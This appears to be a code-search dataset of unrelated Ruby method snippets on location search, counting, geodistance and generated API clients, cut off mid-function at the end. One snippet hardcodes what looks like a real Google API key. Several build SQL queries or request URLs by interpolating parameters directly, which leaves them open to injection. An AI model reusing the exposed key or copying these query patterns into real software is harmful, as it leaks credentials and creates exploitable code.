"def country_counts(opts={ })\n unless (leftovers = opts.keys - VALID_COUNT_OPTIONS).empty?\n raise \"Invalid keys: #{leftovers.join(', ')}\"\n end\n\n params = []\n clauses = []\n sql = \"SELECT country, SUM(install_count), SUM(update_count) FROM reports\"\n\n if opts[:from]\n clauses << \"report_date >= ?\"\n params << format_date(opts[:from])\n end\n\n if opts[:to]\n clauses << \"report_date <= ?\"\n params << format_date(opts[:to])\n end\n\n if opts[:country]\n clauses << \"country = ?\"\n params << opts[:country]\n end\n\n sql << \" WHERE \" unless clauses.empty?\n sql << clauses.join(\" AND \") unless params.empty?\n sql << \" GROUP BY country ORDER BY country\"\n\n @db.execute(sql, params).map do |row|\n OpenStruct.new({\n :country => row[0],\n :install_count => row[1].to_i,\n :update_count => row[2].to_i\n })\n end\n end",
"def find_center(collection)\n sum_lat = 0.0\n sum_lng = 0.0\n count = 0\n collection.each do |llp| # should be a collection of LatLonPoints\n count += 1\n sum_lat += llp.lat unless llp.lat.nil?\n sum_lng += llp.lon unless llp.lon.nil?\n end\n {:lng => sum_lng / count, :lat => sum_lat / count} #return a hash\n [sum_lat/count, sum_lng/count] # return an array\n end",
"def nearby_count(search_for)\n count = 0\n DIRECTIONS.each do |direction|\n count += 1 if space(direction).send(search_for)\n end\n return count\n end",
"def count(category)\n count = 0\n self.votes.each do |v|\n if v.category == category\n count+=1\n end\n end\n count\n end",
"def circle_zone(lat, lon, count, options = {})\n url = 'http://api.openweathermap.org/data/2.5/find'\n new(options.merge(lat: lat, lon: lon, cnt: count)).retrieve url\n end",
"def ice_cream_places(location, radius)\n places_url = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/place/nearbysearch/json\",\n :query_values => {:key => \"AIzaSyC3od3aEKzgeEb8H3_6b29HX3qHXWIB248\",\n :location => location,\n :radius => radius,\n :sensor => false,\n :keyword => \"ice cream\"}\n ).to_s\n\n response = JSON.parse(RestClient.get(places_url))[\"results\"]\n all_locations = {}\n response.each do |place|\n name = place[\"name\"]\n location = place[\"geometry\"][\"location\"]\n location_string = \"#{location[\"lat\"]},#{location[\"lng\"]}\"\n all_locations[name] = location_string\n end\n all_locations\nend",
"def total(carbon_or_km)\n self.trips.pluck(carbon_or_km).inject{ |sum,x| sum + x }\n end",
"def number_of_listings(start_datetime, end_datetime, sale_lease, type)\n filter = filter_listings(start_datetime, end_datetime, sale_lease, type)\n filter.count\n end",
"def hits_overall\n @categories.inject(0) { |sum, (name, cat)| sum + cat[:hits] }\n end",
"def total_distance\n sum = 0\n previous_city = nil\n @city_names.each do |city|\n sum += @fully_connected_map.get_distance(previous_city, city) if previous_city\n previous_city = city\n end\n \n return sum\n end",
"def service_service_signoff_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServiceSignoffsApi.service_service_signoff_count_get ...\"\n end\n # resource path\n local_var_path = \"/service/serviceSignoff/count\"\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceSignoffsApi#service_service_signoff_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def location_map(search_results)\n \n @latlongs = {}\n @latlong = []\n used_districts = [] \n \n search_results.each do |result|\n unless result.district_id.nil? or result.country_id.nil? or result.district.latlong.nil? or result.district.latlong == \"\"\n \n if used_districts.include?(result.district_id) # just increase the count\n @latlongs[\"#{result.district_id}\"][:count] += 1\n \n else # add it to the latlongs\n \n used_districts << result.district_id\n district = District.find(result.district_id)\n district.province_id.nil? ? province = nil : province = Province.find(district.province_id)\n district.country_id.nil? ? country = nil : country = Country.find(district.country_id)\n \n @latlongs[\"#{result.district_id}\"] = {:country => country.name,\n :province => province.name,\n :district => district.name,\n :count => 1,\n :lat => district.latlong.split(\",\")[0],\n :lng => district.latlong.split(\",\")[1]}\n \n end \n \n end\n end # end search_results.each loop\n \n my_file = File.open(\"#{RAILS_ROOT}/public/data/map.json\", File::WRONLY|File::TRUNC|File::CREAT)\n my_file.puts \"{\\\"markers\\\": #{@latlongs.to_json.to_s} }\"\n my_file.close\n\n # render :text => @latlong.to_json\n end",
"def total_word_count_in_cat(cat)\n return 0.0 unless @category_list[cat] && @category_list[cat][:_total_word]\n @category_list[cat][:_total_word].to_f\n end",
"def total_word_count_in_cat(cat)\n return 0.0 unless @category_list[cat] && @category_list[cat][:_total_word]\n @category_list[cat][:_total_word].to_f\n end",
"def avarage_workout_with_km_calories\n # Sum totals\n total_distance = set_sport_by_user.sum(:distance)\n # Return if there are workouts\n return total_distance / total_workouts if total_workouts > 0\n 0\n end",
"def category\n if params[:city] == \"sf\"\n @city = \"San Francisco\"\n elsif params[:city] == \"ny\"\n @city = \"New York\"\n end\n @listings = Listing.find_all_by_city(@city)\n end",
"def spatial_query(bounds)\n sb = bounds_to_center_radius(bounds)\n if sb.present?\n \"{!spatial lat=#{sb[:center][:latitude]} long=#{sb[:center][:longitude]} radius=#{sb[:radius]} unit=km calc=arc threadCount=2}\"\n else\n \"\"\n end\n end",
"def calculate_price_per_km(price_per_km, day_count)\n price_per_km * day_count\n end",
"def distanceToSearchCenter(centerLat, centerLong)\n\n # kilometers\n earthRadius = 6371 \n\n buildingLat = self.gis_lat\n buildingLong = self.gis_long\n\n buildingLatRad = buildingLat/180 * Math::PI\n centerLongRad = centerLong/180 * Math::PI\n\n\n dLat = (centerLat-buildingLat)/180 * Math::PI;\n dLon = (centerLong-buildingLong)/180 * Math::PI;\n\n a = Math.sin(dLat/2) * Math.sin(dLat/2) +\n Math.cos(buildingLatRad) * Math.cos(centerLongRad) *\n Math.sin(dLon/2) * Math.sin(dLon/2);\n\n c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));\n\n distanceMeters = 6371*1000 * c; \n puts distanceMeters\n distanceMeters\n end",
"def places(lat, lng)\n response = HTTParty.post(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{lat},#{lng}&radius=500&type=cafe&key=#{ENV['PLACES_API_KEY']}\")\n return response['results'][1]\n end",
"def search(start_lat, start_long, end_lat, end_long, radius, term)\n latitude=start_lat\n longitude=start_long\n puts latitude\n puts end_lat\n # place = []\n # address= []\n places_hash={\n \n }\n while ((latitude-end_lat).abs>0.05) do \n puts \"------------------------------------------\"\n # latitude=((start_lat)..(end_lat)).step(0.001).to_a\n # longitude=((start_long)..(end_long)).step(0.001).to_a\n # s=start_long\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n\n params = {\n # categories: term,\n term: term,\n latitude: latitude,\n longitude: longitude,\n radius: radius\n \n # limit: SEARCH_LIMIT\n }\n\n response = HTTP.auth(bearer_token).get(url, params: params)\n\n \n puts result=response.parse\n if result[\"businesses\"]!=nil\n result[\"businesses\"].each do |place|\n #need to change each loop\n places_hash[place[\"name\"]]=place[\"location\"][\"address1\"]\n end\n end\n \n puts latitude\n puts end_lat\n latitude=(latitude+(end_lat-start_lat)/5.0)\n longitude=(longitude+(end_long-start_long)/5.0)\n end\n puts places_hash\n return places_hash\nend",
"def category\n ts_deals = Deal.filtered_search(\n :category => params[:name] == \"all\" ? nil : params[:name],\n :lat => params[:lat],\n :lon => params[:long],\n :range => params[:range] || Deal::MAX_RANGE,\n :age => Deal::MAX_SEARCH_AGE.days,\n :page => params[:page],\n :limit => 50)\n\n \n @deals = Array.new\n ts_deals.map do |deal|\n if deal.hidden == false\n @deals.push deal\n end\n end\n \n options = { :minimal => true }\n options[:current_user] = current_user if current_user\n render :json => @deals.compact.as_json(options)\n end",
"def average_location\n @lat_counter = 0\n @google_results.each do |bar|\n @lat_counter += bar[:coordinates][:latitude]\n end\n if @google_results.count > 0\n @avg_lat = @lat_counter / @google_results.count\n else\n @avg_lat = 0\n end\n end",
"def statistics\n ratings = Restaurant.within(params[:latitude],\n params[:longitude],\n params[:radius]).pluck(:rating)\n render json: {\n count: ratings.length,\n avg: ratings.mean,\n std: ratings.standard_deviation\n }\n end",
"def location_count\n 1\n end",
"def procurement_subcategories_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SubCategoriesApi.procurement_subcategories_count_get ...\"\n end\n # resource path\n local_var_path = \"/procurement/subcategories/count\"\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubCategoriesApi#procurement_subcategories_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def hits(cat)\n @categories[cat][:hits]\n end",
"def word_count(word, category)\n return 0.0 unless @word_list[word] && @word_list[word][:categories] && @word_list[word][:categories][category]\n @word_list[word][:categories][category].to_f\n end",
"def word_count(word, category)\n return 0.0 unless @word_list[word] && @word_list[word][:categories] && @word_list[word][:categories][category]\n @word_list[word][:categories][category].to_f\n end",
"def total_insured_services\n services.select{|i| i[:btype] && i[:btype] < CASH_BILLING}.count rescue 0\n end",
"def total_members_by(geo, results)\n totals = results.each_with_object(Hash.new(0)) do |res,counts|\n next unless [\"us\",\"ca\"].include?(res.country)\n counts[res.send(geo.to_sym)] += res.members.to_i\n end\n puts \"TOTAL: #{totals.values.inject(:+)}\"\n \n totals = totals.sort_by { |geo,count| -count }\n puts \"Total members by #{geo.to_s}: \"\n totals.each do |k,v|\n puts \"#{k}: #{v}\"\n end\nend",
"def find_city(lat,lng)\n if Geocoder::Calculations.distance_between([lat,lng], [40.698390,-73.98843]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [40.76813,-73.96439]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76423,-122.47743]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76912,-122.42593]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.85887,2.30965]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.86068,2.36389]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [51.51,-0.13]) < 20\n \"london\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.57664,-46.69787]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.55838,-46.64362]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.64446,139.70695]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.70136,139.73991]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.06901,-118.35904]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.07499,-118.28763]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.02663,-118.45998]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [50.07832,14.41619]) < 20\n \"prague\"\n else\n \"unknown\"\n end\n end",
"def count(layer_id = 0, options = {})\n return nil unless metadata['capabilities'] =~ /Query/\n # Current Version is not returned at lower than 10.1\n if !metadata['currentVersion'].nil?\n query(layer_id, options.merge(returnCountOnly: true))\n else\n # Neither returnCountOnly nor currentVersion are supported for\n # layers @ lower than 10.0 SP1\n # http://resources.arcgis.com/en/help/rest/apiref/\n # So request all the object ids and count them up\n response = query(layer_id, options.merge(where: '1=1',\n returnIdsOnly: true))\n { 'count' => response['objectIds'].length }\n end\n end",
"def service_lookup\n @page_title = t('titles.service_centers')\n @err = \"\"\n @results = []\n if params[:zip]\n session[:zip] = params[:zip]\n @page_title += \" \" + t('near_zipcode', zip: params[:zip])\n begin\n @results = []\n count = 0\n zip = params[:zip] #(params[:zip].to_s.match(/^\\d*$/)) ? \"zipcode #{params[:zip]}\" : params[:zip]\n origin = Geokit::Geocoders::MultiGeocoder.geocode(zip)\n brand = Brand.find(website.service_centers_from_brand_id || website.brand_id)\n brand.service_centers.near(origin: origin, within: 100).order(\"distance ASC\").each do |d|\n unless count > 10 || d.exclude?\n @results << d\n count += 1\n end\n end\n\n # Add those with exact zipcode matches if none have been found by geocoding\n if count == 0 && params[:zip].to_s.match(/^\\d*$/)\n brand.service_centers.where(zip: params[:zip]).each do |d|\n unless count > 10 || d.exclude?\n @results << d\n count += 1\n end\n end\n end\n unless count > 0\n @err = t('errors.no_service_centers_found', zip: params[:zip])\n end\n rescue\n redirect_to(support_path, alert: t('errors.geocoding')) and return false\n end\n end\n render_template\n end",
"def customer_pet_count(customer_hash)\n return customer_hash[:pets].count\nend",
"def car_rental_geosearch_with_http_info(apikey, latitude, longitude, radius, pick_up, drop_off, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.car_rental_geosearch ...\"\n end\n # verify the required parameter 'apikey' is set\n fail ArgumentError, \"Missing the required parameter 'apikey' when calling DefaultApi.car_rental_geosearch\" if apikey.nil?\n # verify the required parameter 'latitude' is set\n fail ArgumentError, \"Missing the required parameter 'latitude' when calling DefaultApi.car_rental_geosearch\" if latitude.nil?\n # verify the required parameter 'longitude' is set\n fail ArgumentError, \"Missing the required parameter 'longitude' when calling DefaultApi.car_rental_geosearch\" if longitude.nil?\n # verify the required parameter 'radius' is set\n fail ArgumentError, \"Missing the required parameter 'radius' when calling DefaultApi.car_rental_geosearch\" if radius.nil?\n # verify the required parameter 'pick_up' is set\n fail ArgumentError, \"Missing the required parameter 'pick_up' when calling DefaultApi.car_rental_geosearch\" if pick_up.nil?\n # verify the required parameter 'drop_off' is set\n fail ArgumentError, \"Missing the required parameter 'drop_off' when calling DefaultApi.car_rental_geosearch\" if drop_off.nil?\n if opts[:'rate_filter'] && !['AVAILABLE', 'ESTIMATED', 'ALL'].include?(opts[:'rate_filter'])\n fail ArgumentError, 'invalid value for \"rate_filter\", must be one of AVAILABLE, ESTIMATED, ALL'\n end\n # resource path\n local_var_path = \"/cars/search-circle\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'apikey'] = apikey\n query_params[:'latitude'] = latitude\n query_params[:'longitude'] = longitude\n query_params[:'radius'] = radius\n query_params[:'pick_up'] = pick_up\n query_params[:'drop_off'] = drop_off\n query_params[:'lang'] = opts[:'lang'] if !opts[:'lang'].nil?\n query_params[:'currency'] = opts[:'currency'] if !opts[:'currency'].nil?\n query_params[:'provider'] = opts[:'provider'] if !opts[:'provider'].nil?\n query_params[:'rate_class'] = opts[:'rate_class'] if !opts[:'rate_class'].nil?\n query_params[:'rate_plan'] = opts[:'rate_plan'] if !opts[:'rate_plan'].nil?\n query_params[:'rate_filter'] = opts[:'rate_filter'] if !opts[:'rate_filter'].nil?\n query_params[:'vehicle'] = @api_client.build_collection_param(opts[:'vehicle'], :multi) if !opts[:'vehicle'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CarSearchResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#car_rental_geosearch\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def count_occ(usages_list)\n count = 0\n usages_list.each do |k,v|\n if k['location']['type'] == 'pipeline'\n count += 1\n end\n end\n return count\nend",
"def deals_result(lat, lng)\n category_ids = params[:category_id]\n city_filter = current_user_city\n type = [1,2,3,4,5].include?(params[:type].to_i) ? params[:type].to_i : 4\n _deals = Deal.click_notify_allowed_deals(city_filter, Deal::DealType[:lmd]).in_last_minute_deal_time\n if category_ids.present? && Rails.env != \"development\"\n _deals = _deals.interested_deals(category_ids)\n end\n\n case type\n when 1\n _deals.popular_deals\n when 2\n _deals.best_seller_deals\n when 3\n _deals.view_count_deals\n when 4\n # sorted_deals = _deals.nearest_deals(lat,lng,3).each { |d| d.steps = d.store.sorted_outlet_steps(d, lat, lng) }.sort_floating(:steps)\n # Kaminari.paginate_array(sorted_deals).page(params[:page]).per(10)\n _deals.with_locations.nearest(lat,lng)\n else\n _deals.order('deals.publish_date')\n end\n end",
"def count(include_subcats = false)\n @count ||= begin\n out = {}\n ci = category_info\n\n out[@name] = {\n :pages => ci.pages.to_i\n }\n\n if include_subcats and ci.subcats.to_i > 0\n out[@name][:subcats] = {}\n members.each do |m|\n out[@name][:subcats].merge! self.class.new(@wiki_bot, m[\"title\"]).count(include_subcats)\n end\n end\n\n out\n end\n end",
"def search_place\n @radius = @params[:radius] if @params[:radius].present?\n @type = @params[:type] if @params[:type].present?\n if @params[:filters].present?\n places=HTTParty.get(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{@params[:lat]},#{@params[:lng]}&key=#{ENV['GOOGLE_PLACES_KEY']}&name=\"+@params[:filters]+\"&radius=#{@radius}&type=#{@type}\")\n else\n places=HTTParty.get(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{@params[:lat]},#{@params[:lng]}&key=#{ENV['GOOGLE_PLACES_KEY']}&radius=#{@radius}&type=#{@type}\")\n end\n places[\"results\"] \n end",
"def deals_result(lat, lng)\n category_ids = params[:category_id]\n city_filter = current_user_city\n type = [1,2,3,4,5].include?(params[:type].to_i) ? params[:type].to_i : 4\n _deals = Deal.click_notify_allowed_deals(city_filter, Deal::DealType[:lmd])\n _deals = Deal.click_notify_allowed_deals(city_filter, Deal::DealType[:lmd]).in_last_minute_deal_time.at_days\n if category_ids.present? && Rails.env != \"development\"\n _deals = _deals.interested_deals(category_ids)\n end\n\n case type\n when 1\n _deals.popular_deals\n when 2\n _deals.best_seller_deals\n when 3\n _deals.view_count_deals\n when 4\n # sorted_deals = _deals.nearest_deals(lat,lng,3).each { |d| d.steps = d.store.sorted_outlet_steps(d, lat, lng) }.sort_floating(:steps)\n # Kaminari.paginate_array(sorted_deals).page(params[:page]).per(10)\n _deals.with_locations.nearest(lat,lng)\n else\n _deals.order('deals.publish_date')\n end\n end",
"def total_results\n opensearch_totalResults\n end",
"def canned_query_count(key)\n query = SPLASH_CANNED_QUERIES[key.to_sym]\n raise ArgumentError.new(\"key must be in SPLASH_CANNED_QUERIES hash\") if query.nil?\n @response.facet_counts[\"facet_queries\"][query]\n end",
"def distance_from(bounds)\n center = Atlas::Place.bounds_to_center_radius(bounds)[:center]\n \n # We ask PostGIS to compute this in meters...\n self.distance = Atlas::Geography.connection.select_value(\"select st_distance_sphere(\n st_transform(st_setsrid(st_makepoint(#{longitude}, #{latitude}), 4326), 2163), \n st_transform(st_setsrid(st_makepoint(#{center[:longitude]}, #{center[:latitude]}), 4326), 2163)\n ) as distance\").to_f\n end",
"def projects_countries(site, category_id = nil, organization_id = nil, location_id = nil)\n if category_id.present? && category_id.to_i > 0\n if site.navigate_by_cluster?\n category_join = \"inner join clusters_projects as cp on cp.project_id = p.id and cp.cluster_id = #{category_id}\"\n else\n category_join = \"inner join projects_sectors as pse on pse.project_id = p.id and pse.sector_id = #{category_id}\"\n end\n end\n\n if organization_id.present? && organization_id.to_i > 0\n organization_filter = \"and p.primary_organization_id = #{organization_id}\"\n end\n\n if location_id.present?\n location_filter = \"and c.id IN (#{location_id})\"\n end\n\n Country.find_by_sql(\n<<-SQL\nselect c.id,c.name,count(ps.*) as count from countries as c\n inner join countries_projects as pr on c.id=pr.country_id #{location_filter}\n inner join projects as p on p.id=pr.project_id and (p.end_date is null OR p.end_date > now()) #{organization_filter}\n inner join projects_sites as ps on p.id=ps.project_id and ps.site_id=#{site.id}\n inner join donations as dn on dn.project_id = p.id\n #{category_join}\n where dn.donor_id = #{self.id}\n group by c.id, c.name order by count DESC\nSQL\n ).map do |r|\n [r, r.count.to_i]\n end\n end",
"def import_counties(options)\n import_places PlaceType::County, options\n end",
"def count\n filtered = apply_criteria(@data)\n filtered.count\n end",
"def count_real_used(center_id, start, stop, survey_ids = nil)\n \t# logger.info (\"stop: #{stop}\")\n \tstop = stop.blank? && \"Now()\" || \"'#{stop}'\"\n \t# puts \"count stop: #{stop}\"\n\t\tquery = []\n\t\tquery << \"select center_id, team_id, survey_id, count(id) as used from survey_answers \"\n\t\tquery << \"where center_id = #{center_id} and done = 1 \"\n\t\tquery << \"and created_at between '#{start}' and #{stop} \"\n\t\tquery << \"and survey_id IN (#{survey_ids.join(',')}) \" if survey_ids\n\t\tquery << \"group by survey_id\"\n\n\t\tsurvey_answer_count = ActiveRecord::Base.connection.execute(query.join).each(:as => :hash).inject({}) do |col,j| \n\t\t\tkey = j['survey_id']\n \t\tcol[key] = { \n \t\t\t:used => j['used'],\n \t\t\t:center_id => j['center_id'],\n \t\t\t:survey_id => j['survey_id']\n\t\t\t\t}\n \t\t\tcol\n \tend\n end",
"def index\n @type = params[:type].downcase\n @category = params[:category].downcase\n @lat = params[:lat].to_f\n @long = params[:long].to_f\n \n @radius = METERS_IN_MILE * 5\n if (params[:radius] != nil)\n @radius = params[:radius].to_i * METERS_IN_MILE\n end \n \n @user_id = User.where([\"lower(\\\"userName\\\") = ?\", params[:username].downcase]).first.id\n\n @places = Place.where(\"lower(\\\"locationType\\\") = ? AND lower(category) = ?\", @type, @category).close_to(@lat, @long, @radius)\n @placeHash = Hash.new\n\n @places.each do |place|\n score = 0\n @likes = History.where(\"\\\"placeID\\\" = ?\", place.id)\n @likes.each do |like|\n score += like.like * Similarity.where(\"user1_id = ? AND user2_id = ?\", @user_id, like.userId.to_i).take.similarity\n end\n @placeHash[place] = score\n end\n\n @places.sort {|x, y| @placeHash[x] <=> @placeHash[y]}\n\n if (@places.length > 3)\n @places = @places[0..2]\n end\n end",
"def areas_by_radius(lat, lon, radius_meters)\n #get min/max latitude and longitude of radius around point\n min_lat, min_lon, max_lat, max_lon = radius_box = bounding_box(lat, lon, radius_meters)\n\n #estimate the size of boxes to target\n steps = estimate_steps_by_radius(radius_meters)\n #re-encode point using steps\n #the geohashes are composed of 32 distinct numbers/letters, basically base 32\n #bits are composed of 1s and 0s, base 2 or binary\n #steps is the length of the binary number for longitude and latitude, and the combined length of the binary string (which interleaves both the longitude and latitude) is 2*steps\n # since 32 is 2^5, while 2 is 2^1, the length of a base 32 number will be the length of a binary number divided by 5 and plus 1 (32 base 10 = 10000 base 2 = 10 base 32).\n str_len = steps*2/5 + 1\n hash = encode(lat, lon, str_len)\n\n #get neighbors of box\n neighbors = neighbors(hash)\n neighbors_neighbors = neighbors.each_with_object([]) {|neighbor, nb| nb << neighbors(neighbor)}\n\n # 25 geohashes surrounding the original\n nb = neighbors_neighbors.flatten.uniq\n\n # remove those geohashes that are outside the bounding box\n nb.each do |neighbor|\n n_latlng_low, n_latlng_high = decode(neighbor)\n if n_latlng_low[0] > max_lat or n_latlng_low[1] > max_lon or n_latlng_high[0] < min_lat or n_latlng_high[1] < min_lon\n nb -= [neighbor]\n end\n end\n\n #return remaining neighbor list\n nb\n end",
"def matches(name, latitude, longitude, category = nil)\n category_id = category.id if category\n \n # Want to append the distance and similarity rankings.\n matched_places = Hash[*(many.matches(name, latitude, longitude, category_id).map {|r| [r['id'], r]}).flatten]\n find_from_search(*matched_places.keys).map do |place|\n if place\n if matched_places[place.id]\n place.distance_in_meters = matched_places[place.id]['distance_in_meters'] \n place.name_similarity = matched_places[place.id]['name_similarity'] \n end\n place\n end\n end\n end",
"def count_posts(people)\n get_posts(people.as(:person)).count_section(:person)\nend",
"def count\n @map.count\n end",
"def search_with_geography(keywords, options = {})\n unless keywords.blank?\n # For backwards compatibility\n options[:count] ||= options[:rows] || 10\n \n parameters = {\n :start => options[:start] && options[:start].to_i || 0,\n :rows => options[:count] && options[:count].to_i > 0 && options[:count].to_i < 100 && options[:count].to_i || 10\n }\n \n parameters[:fq] = bounds_query(options[:bounds]) if options[:bounds].present?\n \n places = []\n facets = []\n \n results = PublicEarth::Db::Place.search_for keywords, parameters\n places = results.models\n \n # Tack on a possible map location, such as a city or country? Maybe the user was searching\n # to move the map, not look for places?\n where = nil\n unless options[:e]\n where = PublicEarth::Db::Where.am_i?(keywords, options[:bounds])\n where = nil if where.score.nil?\n end\n \n # A bold substitute for a rules engine! (There is a paper flowchart of this somewhere...)\n if options[:bounds]\n if places.blank?\n if where.present? \n [:reposition, where, nil, nil]\n else\n [:display, nil, nil, nil]\n end\n else\n if where.present?\n if where.score > 3.0\n [:prompt, where, results]\n else\n [:display, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n else\n if places.blank? && where.blank?\n [:display, nil, nil]\n else\n if where.present?\n if where.score > 0.4 && !options[:recursed]\n if where.score > 2.0\n k = keywords.downcase\n # Temporary stop terms...FIX!!!\n (\"in for from near by where around over under \" + where.name.downcase).split(/\\s+/).each do |word|\n k.gsub! /\\b#{word}\\b/, ''\n end\n options.merge!({ :bounds => where.bounds, :recursed => true })\n \n again = search_with_geography(k, options)\n if again[2].blank?\n [:reposition, where, nil, nil]\n else\n [:display, where, again.last]\n end\n else\n [:prompt, where, results]\n end\n else\n [:suggest, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n end\n else\n [:display, nil, nil, nil]\n end\n end",
"def radius_statistics\n super\n end",
"def place_conditions \n @radius = @radius.blank? ? 10 : @radius\n origin = GeoKit::Geocoders::MultiGeocoder.geocode(\"#{@place}, Deutschland\")\n distance_sql = Address.distance_sql(origin)\n @conditions.add_condition [\"#{distance_sql} < ?\", @radius]\n end",
"def time_schedulestopwatches_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ScheduleStopwatchesApi.time_schedulestopwatches_count_get ...\"\n end\n # resource path\n local_var_path = \"/time/schedulestopwatches/count\"\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ScheduleStopwatchesApi#time_schedulestopwatches_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def calculate_distance(customer)\n ::LoremIpsumNearby::GeoCalculator.distance(@center_point,\n [customer[\"latitude\"], customer[\"longitude\"]],\n {units: @search_radius_unit}).round(3)\n end",
"def schedule_types_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ScheduleTypesApi.schedule_types_count_get ...\"\n end\n # resource path\n local_var_path = \"/schedule/types/count\"\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ScheduleTypesApi#schedule_types_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def total_by_time_period(options = {})\n response = options[:response] || {}\n search_options = {}\n search_options[:query] = options[:query] || ''\n search_options[:bucket] = options[:bucket] || 'day'\n search_options[:fromDate] = Gnip.format_date(options[:date_from]) if options[:date_from]\n search_options[:toDate] = Gnip.format_date(options[:date_to]) if options[:date_to]\n search_options[:next] = options[:next_cursor] if options[:next_cursor]\n\n url = [counts_url, search_options.to_query].join('?')\n call_done = 0\n\n begin\n gnip_call = self.class.get(url, basic_auth: @auth)\n\n parsed_response = gnip_call.parsed_response\n parsed_response = (parsed_response || {}).with_indifferent_access\n\n raise gnip_call.response.message unless parsed_response.present?\n\n if parsed_response[:error].present?\n response = { results: [], next: nil, error: parsed_response[:error][:message], code: gnip_call.response.code.to_i, calls: (response[:calls] || 0) + 1 }\n else\n call_done = 1 # we have received a valid response\n parsed_response[:results].each_with_index do |item, 